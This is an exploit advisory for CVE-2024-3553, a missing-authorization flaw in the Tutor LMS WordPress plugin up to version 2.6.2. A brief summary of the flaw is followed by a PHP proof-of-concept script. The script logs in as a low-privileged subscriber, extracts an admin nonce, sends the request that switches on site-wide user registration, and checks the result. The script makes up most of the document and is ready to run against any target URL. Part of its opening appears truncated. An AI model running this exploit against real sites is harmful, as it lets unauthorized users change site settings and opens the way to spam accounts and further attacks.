============================================================================================================================================= | # Title : Tutor LMS 2.6.2 Missing Authorization vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://tutorlms.com | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213309/ & CVE-2024-3553 [+] Summary : missing authorization vulnerability in the Tutor LMS WordPress plugin (versions ≤ 2.6.2). The plugin fails to properly verify user capabilities in the hide_notices() function, relying only on is_admin() and a valid nonce. As a result, any authenticated user, including low-privileged subscribers, can access the WordPress admin area, obtain a legitimate nonce, and trigger an unauthorized option update that enables global user registration. This may lead to unauthorized account creation, spam abuse, and potential follow-up attacks. The issue was fixed in version 2.7.0 by enforcing proper capability checks using current_user_can('manage_options'). [+] POC : php poc.php https://target.com subscriber_user password target = rtrim($target, '/'); $this->username = $username; $this->password = $password; $this->cookie = tempnam(sys_get_temp_dir(), 'wp_'); } private function request($url, $post = false, $data = null) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (PoC)'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($post === true) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); } $response = curl_exec($ch); curl_close($ch); return $response; } public function login() { echo "[*] Logging in as {$this->username}...\n"; $loginUrl = $this->target . '/wp-login.php'; $data = [ 'log' => $this->username, 'pwd' => $this->password, 'wp-submit' => 'Log In', 'redirect_to' => $this->target . '/wp-admin/', 'testcookie' => 1 ]; $response = $this->request($loginUrl, true, $data); if (strpos($response, 'wp-admin') !== false) { echo "[+] Login successful\n"; return true; } echo "[-] Login failed\n"; return false; } public function getNonce() { echo "[*] Extracting WordPress nonce...\n"; $adminPage = $this->request($this->target . '/wp-admin/'); if (preg_match('/_wpnonce[^"\']*["\']([a-f0-9]{10,})/i', $adminPage, $matches)) { echo "[+] Nonce found: {$matches[1]}\n"; return $matches[1]; } echo "[-] Nonce not found\n"; return false; } public function exploit($nonce) { echo "[*] Sending exploit request...\n"; $exploitUrl = $this->target . '/wp-admin/index.php?' . http_build_query([ 'tutor-hide-notice' => 'registration', 'tutor-registration'=> 'enable', '_wpnonce' => $nonce ]); $this->request($exploitUrl); echo "[+] Exploit request sent\n"; } public function checkRegistration() { echo "[*] Checking registration status...\n"; $res = $this->request($this->target . '/wp-login.php?action=register'); if (strpos($res, 'user_login') !== false) { echo "[!] Registration is ENABLED\n"; return true; } echo "[!] Registration is DISABLED\n"; return false; } } $target = $argv[1] ?? null; $username = $argv[2] ?? null; $password = $argv[3] ?? null; if (!$target || !$username || !$password) { echo "Usage:\n"; echo "php poc.php \n"; exit(1); } $poc = new TutorLMSPoC($target, $username, $password); if (!$poc->login()) { exit(1); } $nonce = $poc->getNonce(); if (!$nonce) { exit(1); } $poc->exploit($nonce); $poc->checkRegistration(); Greetings to :============================================================ jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*| ==========================================================================